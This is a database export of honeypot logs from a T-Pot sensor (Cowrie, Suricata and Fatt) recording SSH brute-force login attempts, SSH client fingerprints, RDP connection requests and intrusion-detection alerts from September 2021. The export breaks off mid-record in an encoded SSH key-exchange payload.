34904	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 15:04:43.846986+03	2021-09-20 15:15:02.53069+03	{"_id": "ywYYA3wBvYTbRNuEHVhz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.login.failed", "message": "login attempt [miw/miw] failed", "session": "fbae81b219d1", "@version": "1", "password": "miw", "username": "miw", "timestamp": "2021-09-20T12:04:43.846986Z", "@timestamp": "2021-09-20T12:04:43.846Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	US
34877	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:04:42.491814+03	2021-09-20 15:15:02.49269+03	{"_id": "tAYYA3wBvYTbRNuEFljD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:04:42.172303+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 500335652806927, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 62781, "dest_port": 3389, "timestamp": "2021-09-20T12:04:42.491814Z", "@timestamp": "2021-09-20T12:04:42.491Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
34878	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:04:42.597226+03	2021-09-20 15:15:02.493689+03	{"_id": "tQYYA3wBvYTbRNuEFljF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:04:42.172303+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 500335652806927, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 62781, "timestamp": "2021-09-20T12:04:42.597226Z", "@timestamp": "2021-09-20T12:04:42.597Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
34879	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 15:04:42.884276+03	2021-09-20 15:15:02.494689+03	{"_id": "wAYYA3wBvYTbRNuEGViK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "fbae81b219d1", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:04:42.884276Z", "@timestamp": "2021-09-20T12:04:42.884Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	US
34880	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:04:42.448923+03	2021-09-20 15:15:02.496691+03	{"_id": "xAYYA3wBvYTbRNuEGViL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.login.failed", "message": "login attempt [dalia/dalia123] failed", "session": "ec181571361d", "@version": "1", "password": "dalia123", "username": "dalia", "timestamp": "2021-09-20T12:04:42.448923Z", "@timestamp": "2021-09-20T12:04:42.448Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	IN
34881	fe80:0000:0000:0000:319d:3e8f:a38d:b93f	109.199.241.180	Suricata	2021-09-20 15:04:42.772861+03	2021-09-20 15:15:02.49769+03	{"_id": "xwYYA3wBvYTbRNuEGlir", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:04:42.772861+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 70}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:319d:3e8f:a38d:b93f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 688253356919549, "payload": "AAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T12:04:42.772861Z", "@timestamp": "2021-09-20T12:04:42.772Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...."}}	1	\N	\N	alert	\N	\N
34882	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:04:41.122543+03	2021-09-20 15:15:02.49869+03	{"_id": "rAYYA3wBvYTbRNuEEVi5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "ec181571361d", "@version": "1", "timestamp": "2021-09-20T12:04:41.122543Z", "@timestamp": "2021-09-20T12:04:41.122Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	IN
34883	43.240.6.90	109.199.241.180	Suricata	2021-09-20 15:04:41.121716+03	2021-09-20 15:15:02.500689+03	{"_id": "rgYYA3wBvYTbRNuEEljZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "43.240.6.90", "dest_ip": "192.168.20.116", "flow_id": 1352081354566746, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49690, "dest_port": 22, "timestamp": "2021-09-20T12:04:41.121716Z", "@timestamp": "2021-09-20T12:04:41.121Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	IN
34884	43.240.6.90	109.199.241.180	Fatt	2021-09-20 15:04:41.121938+03	2021-09-20 15:15:02.501691+03	{"_id": "sgYYA3wBvYTbRNuEE1jf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "43.240.6.90", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 49690, "dest_port": 22, "timestamp": "2021-09-20T12:04:41.121938", "@timestamp": "2021-09-20T12:04:41.121Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	IN
34885	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:04:42.491814+03	2021-09-20 15:15:02.503691+03	{"_id": "swYYA3wBvYTbRNuEFljC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:04:42.172303+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 500335652806927, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 62781, "dest_port": 3389, "timestamp": "2021-09-20T12:04:42.491814Z", "@timestamp": "2021-09-20T12:04:42.491Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
34886	61.133.192.126	109.199.241.180	Fatt	2021-09-20 15:04:42.491814+03	2021-09-20 15:15:02.50569+03	{"_id": "vgYYA3wBvYTbRNuEGFgk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 62781, "dest_port": 3389, "timestamp": "2021-09-20T12:04:42.491814", "@timestamp": "2021-09-20T12:04:42.491Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	CN
34887	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 15:04:43.055618+03	2021-09-20 15:15:02.50669+03	{"_id": "wQYYA3wBvYTbRNuEGViK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "fbae81b219d1", "@version": "1", "timestamp": "2021-09-20T12:04:43.055618Z", "@timestamp": "2021-09-20T12:04:43.055Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	US
34888	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:04:42.929987+03	2021-09-20 15:15:02.508691+03	{"_id": "xgYYA3wBvYTbRNuEGlir", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:04:42.172303+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 500335652806927, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 62781, "dest_port": 3389, "timestamp": "2021-09-20T12:04:42.929987Z", "@timestamp": "2021-09-20T12:04:42.929Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
34889	42.192.76.45	109.199.241.180	Cowrie	2021-09-20 15:04:35.054451+03	2021-09-20 15:15:02.509691+03	{"_id": "nAYXA3wBvYTbRNuE-lhG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "42.192.76.45", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.192.76.45", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "71a252aa38d7", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:04:35.054451Z", "@timestamp": "2021-09-20T12:04:35.054Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
34890	42.192.76.45	109.199.241.180	Cowrie	2021-09-20 15:04:35.051767+03	2021-09-20 15:15:02.51069+03	{"_id": "mwYXA3wBvYTbRNuE-lhG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "42.192.76.45", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.192.76.45", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 42.192.76.45:47146 (192.168.176.2:22) [session: 71a252aa38d7]", "session": "71a252aa38d7", "@version": "1", "protocol": "ssh", "src_port": 47146, "dest_port": 22, "timestamp": "2021-09-20T12:04:35.051767Z", "@timestamp": "2021-09-20T12:04:35.051Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
34891	42.192.76.45	109.199.241.180	Suricata	2021-09-20 15:04:35.336829+03	2021-09-20 15:15:02.51269+03	{"_id": "nwYXA3wBvYTbRNuE-1hn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:04:34.771721+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "42.192.76.45", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "42.192.76.45", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 702385946281609, "payload": "AAADzAYU8HW9EBFGE3mADVSRl4wsFwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2